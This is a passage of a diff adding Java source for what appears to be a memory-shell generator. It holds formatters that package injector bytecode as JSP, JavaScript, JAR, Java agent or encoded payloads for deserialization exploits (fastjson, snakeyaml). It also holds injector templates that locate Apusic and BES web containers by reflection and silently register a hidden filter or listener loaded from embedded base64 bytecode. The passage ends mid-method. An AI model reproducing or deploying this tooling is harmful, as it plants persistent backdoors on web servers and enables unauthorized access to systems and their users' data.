public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
return new BigInteger(clazzbyte).toString(36).getBytes();
}
}
+10
View File
@@ -0,0 +1,10 @@
package jmg.core.format;
import jmg.core.config.AbstractConfig;
import java.io.IOException;
public interface IFormater {
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception;
}
@@ -0,0 +1,102 @@
package jmg.core.format;
import javassist.ClassPool;
import javassist.CtClass;
import jmg.core.config.AbstractConfig;
import jmg.core.config.Constants;
import jmg.core.template.SpringMVCAgentTransformer;
import jmg.core.template.TomcatAgentTransformer;
import jmg.core.util.CommonUtil;
import jmg.core.util.JavassistUtil;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Enumeration;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
import java.util.jar.JarOutputStream;
import java.util.jar.Manifest;
// todo: 其他中间件
public class JARAgentFormater implements IFormater {
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception {
String className = TomcatAgentTransformer.class.getName();
String simpleName = TomcatAgentTransformer.class.getSimpleName();
if (config.getServerType().equals(Constants.SERVER_TOMCAT)) {
className = TomcatAgentTransformer.class.getName();
simpleName = TomcatAgentTransformer.class.getSimpleName();
} else if (config.getServerType().equals(Constants.SERVER_SPRING_MVC)) {
className = SpringMVCAgentTransformer.class.getName();
simpleName = SpringMVCAgentTransformer.class.getSimpleName();
} else {
throw new RuntimeException(String.format("Java Agent 暂时只支持 %s、%s",Constants.SERVER_TOMCAT,Constants.SERVER_SPRING_MVC));
}
String classFileName = simpleName.replace('.', '/') + ".class";
ClassPool pool = ClassPool.getDefault();
// Note: jar 包中的文件不能通过文件路径读取,需要通过流读取
// File jarFile = new File(JARAgentFormater.class.getClassLoader().getResource("jmg-agent.jar").getFile());
InputStream jarStream = JARAgentFormater.class.getClassLoader().getResourceAsStream("jmg-agent.jar");
File jarFile = File.createTempFile("jmg-agent", ".jar");
try (FileOutputStream out = new FileOutputStream(jarFile)) {
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = jarStream.read(buffer)) != -1) {
out.write(buffer, 0, bytesRead);
}
}
Manifest manifest = createManifest(simpleName);
File tempJarFile = File.createTempFile("tempJar", ".jar");
try (JarFile jar = new JarFile(jarFile);
JarOutputStream tempJar = new JarOutputStream(new FileOutputStream(tempJarFile), manifest)) {
copyJarEntries(jar, tempJar);
addModifiedClassToJar(pool, className, simpleName, classFileName, tempJar, config.getPass(), CommonUtil.encodeBase64(clazzbyte));
} catch (Exception e) {
e.printStackTrace();
}
return Files.readAllBytes(Paths.get(tempJarFile.getAbsolutePath()));
}
private Manifest createManifest(String simpleName) {
Manifest manifest = new Manifest();
manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
manifest.getMainAttributes().putValue("Agent-Class", simpleName);
manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true");
manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
manifest.getMainAttributes().putValue("Main-Class", simpleName);
return manifest;
}
private void copyJarEntries(JarFile jar, JarOutputStream tempJar) throws IOException {
Enumeration<JarEntry> jarEntries = jar.entries();
while (jarEntries.hasMoreElements()) {
JarEntry entry = jarEntries.nextElement();
try (InputStream entryInputStream = jar.getInputStream(entry)) {
tempJar.putNextEntry(entry);
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = entryInputStream.read(buffer)) != -1) {
tempJar.write(buffer, 0, bytesRead);
}
}
}
}
private void addModifiedClassToJar(ClassPool pool, String className, String simpleName, String classFileName, JarOutputStream tempJar, String injectFlag, String injectorCode) throws Exception {
CtClass ctClass = pool.get(className);
ctClass.getClassFile().setVersionToJava5();
ctClass.setName(simpleName);
JavassistUtil.addMethod(ctClass, "getInjectorCode", "return \"" + injectorCode + "\";");
tempJar.putNextEntry(new JarEntry(classFileName));
tempJar.write(ctClass.toBytecode());
ctClass.detach();
}
}
+47
View File
@@ -0,0 +1,47 @@
package jmg.core.format;
import jmg.core.config.AbstractConfig;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.jar.JarEntry;
import java.util.jar.JarOutputStream;
import java.util.jar.Manifest;
public class JARFormater implements IFormater {
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
String className = config.getInjectorClassName();
String jarEntryFileName = className.replace(".", "/") + ".class";
Manifest manifest = new Manifest();
manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
ByteArrayOutputStream out = new ByteArrayOutputStream();
try (JarOutputStream jarOutputStream = new JarOutputStream(out, manifest)) {
jarOutputStream.putNextEntry(new JarEntry(jarEntryFileName));
jarOutputStream.write(clazzbyte);
jarOutputStream.closeEntry();
// fastjson + groovy 的利用
if (config.isImplementsASTTransformationType()) {
String entryName = "META-INF/services/org.codehaus.groovy.transform.ASTTransformation";
JarEntry entry = new JarEntry(entryName);
jarOutputStream.putNextEntry(entry);
jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
jarOutputStream.closeEntry();
}
// snakeyaml + loadJar 的利用
if (config.isImplementsScriptEngineFactory()) {
String entryName = "META-INF/services/javax.script.ScriptEngineFactory";
JarEntry entry = new JarEntry(entryName);
jarOutputStream.putNextEntry(entry);
jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
jarOutputStream.closeEntry();
}
}
return out.toByteArray();
}
}
+35
View File
@@ -0,0 +1,35 @@
package jmg.core.format;
import jmg.core.config.AbstractConfig;
import me.gv7.woodpecker.tools.codec.BASE64Encoder;
import java.io.IOException;
public class JSPFormater implements IFormater {
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
String strJSP = "<%\n" +
" ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n" +
" try{\n" +
" classLoader.loadClass(\""+ config.getInjectorClassName()+"\").newInstance();\n" +
" }catch (Exception e){\n" +
" java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n" +
" defineClass.setAccessible(true);\n" +
" String bytecodeBase64 = \""+new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") +"\";\n" +
" byte[] bytecode = null;\n" +
" try {\n" +
" Class base64Clz = classLoader.loadClass(\"java.util.Base64\");\n" +
" Class decoderClz = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" +
" Object decoder = base64Clz.getMethod(\"getDecoder\").invoke(base64Clz);\n" +
" bytecode = (byte[]) decoderClz.getMethod(\"decode\", String.class).invoke(decoder, bytecodeBase64);\n" +
" } catch (ClassNotFoundException ee) {\n" +
" Class datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" +
" bytecode = (byte[]) datatypeConverterClz.getMethod(\"parseBase64Binary\", String.class).invoke(datatypeConverterClz, bytecodeBase64);\n" +
" }\n" +
" Class clazz = (Class)defineClass.invoke(classLoader,bytecode,0,bytecode.length);\n" +
" clazz.newInstance();\n" +
" }\n" +
"%>";
return strJSP.getBytes();
}
}
@@ -0,0 +1,36 @@
package jmg.core.format;
import jmg.core.config.AbstractConfig;
import me.gv7.woodpecker.tools.codec.BASE64Encoder;
import java.io.IOException;
public class JavaScriptFormater implements IFormater {
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
String strJS = "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
"try{\n" +
" classLoader.loadClass(\""+ config.getInjectorClassName() +"\").newInstance();\n" +
"}catch (e){\n" +
" var clsString = classLoader.loadClass('java.lang.String');\n" +
" var bytecodeBase64 = \""+ new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") + "\";\n" +
" var bytecode;\n" +
" try{\n" +
" var clsBase64 = classLoader.loadClass(\"java.util.Base64\");\n" +
" var clsDecoder = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" +
" var decoder = clsBase64.getMethod(\"getDecoder\").invoke(base64Clz);\n" +
" bytecode = clsDecoder.getMethod(\"decode\", clsString).invoke(decoder, bytecodeBase64);\n" +
" } catch (ee) {\n" +
" var datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" +
" bytecode = datatypeConverterClz.getMethod(\"parseBase64Binary\", clsString).invoke(datatypeConverterClz, bytecodeBase64);\n" +
" }\n" +
" var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');\n" +
" var clsByteArray = classLoader.loadClass('[B');\n" +
" var clsInt = java.lang.Integer.TYPE;\n" +
" var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt);\n" +
" defineClass.setAccessible(true);\n" +
" var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length);\n" +
" clazz.newInstance();\n" +
"}";
return strJS.getBytes();
}
}
@@ -0,0 +1,14 @@
package jmg.core.generator;
import javassist.ClassPool;
import jmg.core.config.AbstractConfig;
public interface IShellGenerator {
ClassPool pool = ClassPool.getDefault();
void initShell(AbstractConfig config);
byte[] makeShell(AbstractConfig config) throws Exception;
byte[] modifyShell(String className, AbstractConfig config);
}
@@ -0,0 +1,103 @@
package jmg.core.generator;
import javassist.*;
import javassist.bytecode.AccessFlag;
import jmg.core.config.AbstractConfig;
import jmg.core.config.Constants;
import jmg.core.util.*;
/**
* 注入器生成
*/
public class InjectorGenerator {
public byte[] makeInjector(AbstractConfig config) throws Exception {
String injectorName = InjectorUtil.getInjectorName(config.getServerType(), config.getShellType());
String injectorClassName = InjectorUtil.getInjectorClassName(injectorName);
byte[] bytes = UtilPlus.generate(injectorClassName, config);
config.setInjectorBytes(bytes);
config.setInjectorBytesLength(bytes.length);
return bytes;
}
public static class UtilPlus {
@SuppressWarnings("unchecked")
private final static ClassPool pool = ClassPool.getDefault();
public static byte[] generate(String injectorTplClassName, AbstractConfig config) throws Exception {
pool.insertClassPath(new ClassClassPath(InjectorGenerator.class));
CtClass ctClass = pool.getCtClass(injectorTplClassName);
ctClass.getClassFile().setVersionToJava5();
String base64ShellString = CommonUtil.encodeBase64(CommonUtil.gzipCompress(config.getShellBytes())).replace(System.lineSeparator(), "");
String urlPattern = config.getUrlPattern();
String shellClassName = config.getShellClassName();
if (base64ShellString != null) {
CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
String[] parts = splitChunks(base64ShellString.replace(System.lineSeparator(), ""), 40000);
StringBuilder result = new StringBuilder();
for (int i = 0; i < parts.length; i++) {
if (i > 0)
result.append("+");
result.append("new String(\"" + parts[i] + "\")");
}
getBase64String.setBody(String.format("{return %s;}", result));
}
if (config.getShellType().equalsIgnoreCase(Constants.SHELL_FILTER) || config.getShellType().equalsIgnoreCase(Constants.SHELL_WF_HANDLERMETHOD)) {
CtMethod getUrlPattern = ctClass.getDeclaredMethod("getUrlPattern");
getUrlPattern.setBody(String.format("{return \"%s\";}", urlPattern));
}
if (shellClassName != null) {
CtMethod getUrlPattern = ctClass.getDeclaredMethod("getClassName");
getUrlPattern.setBody(String.format("{return \"%s\";}", shellClassName));
}
if (config.isEnableBypassJDKModule()) {
// 添加 bypassJDKModule 方法
CtMethod ctMethod = new CtMethod(CtClass.voidType, "bypassJDKModule", new CtClass[0], ctClass);
ctMethod.setModifiers(AccessFlag.PUBLIC);
ctMethod.setBody(JDKBypassUtil.bypassJDKModuleBody());
ctClass.addMethod(ctMethod);
// 添加 bypassJDKModule 调用
CtConstructor constructor = ctClass.getConstructors()[0];
constructor.setModifiers(javassist.Modifier.setPublic(constructor.getModifiers()));
constructor.insertBeforeBody("bypassJDKModule();");
}
JavassistUtil.setNameIfNotNull(ctClass, config.getInjectorClassName());
JavassistUtil.removeSourceFileAttribute(ctClass);
byte[] bytes = new CtClassUtil(config, pool, ctClass).modifyForExploitation();
ctClass.detach();
return bytes;
}
private static String[] splitChunks(String source, int CHUNK_SIZE) {
String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)];
char[] payload = source.toCharArray();
int start = 0;
for (int i = 0; i < ret.length; i++) {
if (start + CHUNK_SIZE > payload.length) {
char[] b = new char[payload.length - start];
System.arraycopy(payload, start, b, 0, payload.length - start);
ret[i] = new String(b);
} else {
char[] b = new char[CHUNK_SIZE];
System.arraycopy(payload, start, b, 0, CHUNK_SIZE);
ret[i] = new String(b);
}
start += CHUNK_SIZE;
}
return ret;
}
}
}
@@ -0,0 +1,56 @@
package jmg.core;
import jmg.core.config.AbstractConfig;
import jmg.core.config.Constants;
import jmg.core.format.*;
public class jMGCodeApi {
AbstractConfig config;
public jMGCodeApi(AbstractConfig config) {
this.config = config;
}
public byte[] generate() throws Throwable {
byte[] clazzBytes;
if (config.isEnabledExtender()) {
clazzBytes = config.getExtenderBytes();
} else {
clazzBytes = config.getInjectorBytes();
}
if (clazzBytes == null) {
return null;
}
// 格式转换
byte[] bytes = null;
switch (config.getOutputFormat()) {
case Constants.FORMAT_BCEL:
bytes = new BCELFormater().transform(clazzBytes, config);
break;
case Constants.FORMAT_JSP:
bytes = new JSPFormater().transform(clazzBytes, config);
break;
case Constants.FORMAT_JAR:
bytes = new JARFormater().transform(clazzBytes, config);
break;
case Constants.FORMAT_JAR_AGENT:
bytes = new JARAgentFormater().transform(clazzBytes, config);
break;
case Constants.FORMAT_JS:
bytes = new JavaScriptFormater().transform(clazzBytes, config);
break;
case Constants.FORMAT_BASE64:
bytes = new BASE64Formater().transform(clazzBytes, config);
break;
case Constants.FORMAT_BIGINTEGER:
bytes = new BigIntegerFormater().transform(clazzBytes, config);
break;
default:
bytes = clazzBytes;
break;
}
return bytes;
}
}
@@ -0,0 +1,223 @@
package jmg.core.template;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* Author: pen4uin
* Tested versionApusic Enterprise Edition 9.0 SP5
*/
public class ApusicFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new ApusicFilterInjectorTpl();
}
public ApusicFilterInjectorTpl() {
try {
List<Object> containers = getContainer();
for (Object container : containers) {
Object filter = getFilter(container);
addFilter(container, filter);
}
} catch (Exception ignored) {
}
}
public synchronized List<Object> getContainer() {
List<Object> containers = new ArrayList<Object>();
Thread[] threads = getThreads();
try {
for (Thread thread : threads) {
if (thread.getClass().getName().contains("DefaultSessionManager")) {
Object container = getFV(getFV(thread, "this$0"), "container");
if (container.getClass().getName().contains("WebContainer")) {
containers.add(container);
}
}
}
} catch (Exception ignored) {
}
return containers;
}
public Thread[] getThreads(){
Thread[] var0 = null;
try {
var0 = (Thread[])(invokeMethod(Thread.class, "getThreads"));
} catch (Exception var3) {
ThreadGroup var2 = Thread.currentThread().getThreadGroup();
var0 = new Thread[var2.activeCount()];
var2.enumerate(var0);
}
return var0;
}
private synchronized Object getFilter(Object container) throws Exception {
Object filter = null;
ClassLoader loader = (ClassLoader) invokeMethod(container, "getClassLoader");
try {
filter = loader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(loader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
}
return filter;
}
public void addFilter(Object container, Object filter) {
try {
String filterName = filter.getClass().getSimpleName();
String filterClassName = filter.getClass().getName();
if (isInjected(container, filterName)) {
return;
}
Object webapp = invokeMethod(container, "getWebModule");
Object filterMapping = Class.forName("com.apusic.deploy.runtime.FilterMapping").newInstance();
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(filterMapping, "setDispatcher", new Class[]{int.class}, new Object[]{2});
invokeMethod(webapp, "addBeforeFilterMapping", new Class[]{filterMapping.getClass()}, new Object[]{filterMapping});
Constructor filterModelConstructor = Class.forName("com.apusic.deploy.runtime.FilterModel").getConstructor(new Class[]{webapp.getClass()});
Object filterModel = filterModelConstructor.newInstance(new Object[]{webapp});
invokeMethod(filterModel, "setDescription", new Class[]{String.class}, new Object[]{""});
invokeMethod(filterModel, "setDisplayName", new Class[]{String.class}, new Object[]{""});
invokeMethod(filterModel, "setName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterModel, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
invokeMethod(webapp, "addFilter", new Class[]{filterModel.getClass()}, new Object[]{filterModel});
Object allFilterMappings = invokeMethod(webapp, "getAllFilterMappings");
invokeMethod(getFV(container, "filterMapper"), "populate", new Class[]{allFilterMappings.getClass()}, new Object[]{allFilterMappings});
invokeMethod(container, "loadFilters");
} catch (Exception ignored) {
}
}
public boolean isInjected(Object container, String filterName) throws Exception {
Object filter = invokeMethod(getFV(container, "webapp"), "getFilter", new Class[]{String.class}, new Object[]{filterName});
return filter != null;
}
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws Exception {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws Exception {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,203 @@
package jmg.core.template;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* Apusic Listener 注入器
* Author: pen4uin
* Tested versionApusic Enterprise Edition 9.0 SP5
*/
public class ApusicListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new ApusicListenerInjectorTpl();
}
public ApusicListenerInjectorTpl() {
try {
List<Object> containers = getContainer();
for (Object container : containers) {
Object listener = getListener(container);
addListener(container, listener);
}
} catch (Exception ignored) {
}
}
public List<Object> getContainer() throws Exception {
List<Object> containers = new ArrayList<Object>();
Thread[] threads = getThreads();
try {
for (Thread thread : threads) {
if (thread.getClass().getName().contains("DefaultSessionManager")) {
Object container = getFV(getFV(thread, "this$0"), "container");
if (container.getClass().getName().contains("WebContainer")) {
containers.add(container);
}
}
}
} catch (Exception ignored) {
}
return containers;
}
public Thread[] getThreads(){
Thread[] var0 = null;
try {
var0 = (Thread[])(invokeMethod(Thread.class, "getThreads"));
} catch (Exception var3) {
ThreadGroup var2 = Thread.currentThread().getThreadGroup();
var0 = new Thread[var2.activeCount()];
var2.enumerate(var0);
}
return var0;
}
private Object getListener(Object container) throws Exception {
Object listener = null;
ClassLoader loader = (ClassLoader) invokeMethod(container, "getClassLoader");
try {
listener = loader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(loader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
}
return listener;
}
void addListener(Object container, Object listener) throws Exception {
if (isInjected(container, listener.getClass().getName())) {
return;
}
// bypass com.apusic.web.container.WebContainer.checkContextInitialized()
setFV(container, "contextInitialized", false);
invokeMethod(container, "addListener", new Class[]{Class.class}, new Object[]{listener.getClass()});
// recover com.apusic.web.container.WebContainer.contextInitialized
setFV(container, "contextInitialized", true);
}
boolean isInjected(Object container, String listenerName) throws Exception {
Object flag = invokeMethod(getFV(container, "webapp"), "hasListener", new Class[]{String.class}, new Object[]{listenerName});
return Boolean.parseBoolean(flag.toString());
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
synchronized void setFV(Object var0, String var1, Object val) throws Exception {
getF(var0, var1).set(var0, val);
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws Exception {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws Exception {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,264 @@
package jmg.core.template;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.zip.GZIPInputStream;
public class BESFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new BESFilterInjectorTpl();
}
public BESFilterInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList();
Thread[] threads = getThreads();
try {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
Object context = children.get(key1);
if (context != null) contexts.add(context);
}
}
}
}
} catch (Exception ignored) {
}
return contexts;
}
public Thread[] getThreads() {
Thread[] var0 = null;
try {
var0 = (Thread[]) (invokeMethod(Thread.class, "getThreads"));
} catch (NoSuchMethodException | InvocationTargetException | IllegalAccessException var3) {
ThreadGroup var2 = Thread.currentThread().getThreadGroup();
var0 = new Thread[var2.activeCount()];
var2.enumerate(var0);
}
return var0;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
private Object getFilter(Object context) throws Exception {
Object filter = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try {
filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e1) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Exception ignored) {
}
}
return filter;
}
public void addFilter(Object context, Object filter) throws Exception {
String filterName = filter.getClass().getSimpleName();
if (isInjected(context, filterName)) {
return;
}
try {
Object filterDef;
Object filterMap;
try {
filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
} catch (Exception e2) {
try {
filterDef = Class.forName("com.bes.enterprise.util.descriptor.web.FilterDef").newInstance();
filterMap = Class.forName("com.bes.enterprise.util.descriptor.web.FilterMap").newInstance();
} catch (Exception e3) {
filterDef = Class.forName("com.bes.enterprise.web.util.descriptor.web.FilterDef").newInstance();
filterMap = Class.forName("com.bes.enterprise.web.util.descriptor.web.FilterMap").newInstance();
}
}
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
Constructor<?>[] constructors;
try {
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
} catch (Exception e) {
constructors = Class.forName("com.bes.enterprise.webtier.core.ApplicationFilterConfig").getDeclaredConstructors();
}
try {
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
} catch (Exception e) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
}
constructors[0].setAccessible(true);
Object filterConfig = constructors[0].newInstance(context, filterDef);
Map filterConfigs = (Map) getFV(context, "filterConfigs");
filterConfigs.put(filterName, filterConfig);
} catch (Exception ignored) {
}
}
public boolean isInjected(Object context, String filterName) throws Exception {
Map filterConfigs = (Map) getFV(context, "filterConfigs");
for (Object key : filterConfigs.keySet()) {
if (key.toString().contains(filterName)) {
return true;
}
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
